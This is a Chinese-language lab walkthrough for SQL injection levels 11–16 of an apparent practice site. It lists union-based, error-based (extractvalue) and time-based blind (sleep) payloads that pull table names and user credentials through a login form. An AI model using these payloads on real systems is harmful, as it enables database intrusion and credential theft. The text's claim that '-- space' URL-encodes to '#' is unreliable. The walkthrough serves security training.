第十一关
十一关肉眼可见的变化,不再是在链接上进行传参了,给了两个输入框进可以输入,在链接上传参页面不会发生变化了。
这里我们可以猜测两个输入框的作用,下面有一个提交按钮,那么这可能是一个查询框或者登录框,那么背后的网页代码php构造的查询语句很有可能是
select 字段名 from 表名 where username = '获取到的用户输入的值' and password = '用户输入的值'
类似于这样的查询语句,只是我们不知道闭合是如何构造的,那么我们就需要试错了
输入1'
发现页面有报错,那么我们构造一个闭合
1' or 1=1#
发现页面回显点,这里构造用的or和前面构造使用的and区别在于or只需要一个条件正确就会回显,and需要同时满足,这里明显查询1错误的就需要构造一个必然正确的条件,同时这里的注释就不能使用–空格了,之前使用–空格是因为我们是通过网页链接传参,网页会把我们输入的代码进行url编码,–空格编码后就是#,这里我们使用输入框就不需要编码,直接使用#注释掉后面的内容
通过这样的构造,那么后面的操作和第一到第四关就没有什么区别了,代码一模一样,下面给几条示例语句
回显点
1' union select 1,2 #
数据库版本
1' union select database(),version() #
表名
1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#
字段名
1' union select group_concat(column_name),2 from information_schema.columns where table_name='users'#
内容
1' union select group_concat(username),group_concat(password) from users #
找到闭合方式后和第一关没啥区别
第十二关
和11关一模一样的界面
一样的先输入1/1'/1"
测试,发现1"
报错了于是用1" or 1=1#
测试发现还是报错于是再输入1") or 1=1#
就发现回显出了正确的信息
确定闭合方式就可以继续测试了和前面代码一样只放代码不放图了
1") union select 1,2#
1") union select database(),version()#
1") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
1") union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
1") union select group_concat(username),group_concat(password) from users#
第十三关
13关和前面页面一样,区别在于在测试注入点时发现没有回显点
1'
有报错信息再测试
1' or 1=1#
发现还是报错,再测试
1') or 1=1#
发现没有回显信息了,证明这个页面不会回显除报错之外的信息,那么就可以使用报错注入
和前面5/6关就没太大的区别了
数据库版本
1') or extractvalue(1,concat(0x3e,version()))#
数据库名
1') or extractvalue(1,concat(0x3e,database()))#
表名
1') or extractvalue(1,concat(0x3e,(select table_name from information_schema.tables where table_schema=database() limit 3,1)))#
字段名
1') or extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 5,1)))#
内容
1') or extractvalue(1,concat(0x7e,(select password from users limit 1,1)))#
报错注入差不多就是这样的流程
第十四关
14和13一样,区别在于闭合方式
下面是示例代码,具体流程参照13关
1" or 1=1#
1" or extractvalue(1,concat(0x7e,version()))#
1" or extractvalue(1,concat(0x3e,database()))#
1" or extractvalue(1,concat(0x3e,(select table_name from information_schema.tables where table_schema=database() limit 3,1)))#
1" or extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 5,1)))#
1" or extractvalue(1,concat(0x7e,(select password from users limit 1,1)))#
第十五关
15关界面和前面也都一样,但是无论如何输入数据都没有变化,也没有报错信息。这时候就需要测试是否存在时间盲注
时间盲注在前面9/10关也有相似流程,这里就简单的给一些示例代码,供参考
测试是否存在时间盲注
时间盲注也需要先测试闭合的方法,代码能够在后台跑,我们想要的效果才会体现出来,我们就去构造数值型和字符型测试,当页面出现睡眠开始转圈时,证明闭合方式对了,接下来就是利用一些函数进行注入
1 or sleep(5)
1' or sleep(5)#
判断数据库版本
1' or if(substr(version(),1,1)=6,null,sleep(5))#
数据库名
1' or if(length(database())=8,null,sleep(5))#
1' or if(substr(database(),1,1)='s',null,sleep(5))#
表名
1' or if(length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=5,null,sleep(5))#
1' or if(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1)='u',null,sleep(5))#
字段名
1' or if(length((select column_name from information_schema.columns where table_name='users' limit 4,1))=8,null,sleep(5))#
1' or if(substr((select column_name from information_schema.columns where table_name='users' limit 4,1),1,1)='u',null,sleep(5))#
数据
1' or if(length((select username from users limit 1,1))=8,null,sleep(5))#
1' or if(substr((select username from users limit 1,1),1,1)='A',null,sleep(5))#
第十六关
同样和15关使用时间盲注
闭合方式
1") or sleep(5)#
数据库版本
1") or if(substr(version(),1,1)=5,null,sleep(5))#
数据库名
1") or if(length(database())=8,null,sleep(5))#
1") or if(substr(database(),1,1)='s',null,sleep(5))#
表名
1") or if(length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=5,null,sleep(5))#
1") or if(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1)='u',null,sleep(5))#
字段名
1") or if(length((select column_name from information_schema.columns where table_name='users' limit 4,1))=8,null,sleep(5))#
1") or if(substr((select column_name from information_schema.columns where table_name='users' limit 4,1),1,1)='u',null,sleep(5))#
数据
1") or if(length((select username from users limit 1,1))=8,null,sleep(5))#
1") or if(substr((select username from users limit 1,1),1,1)='A',null,sleep(5))#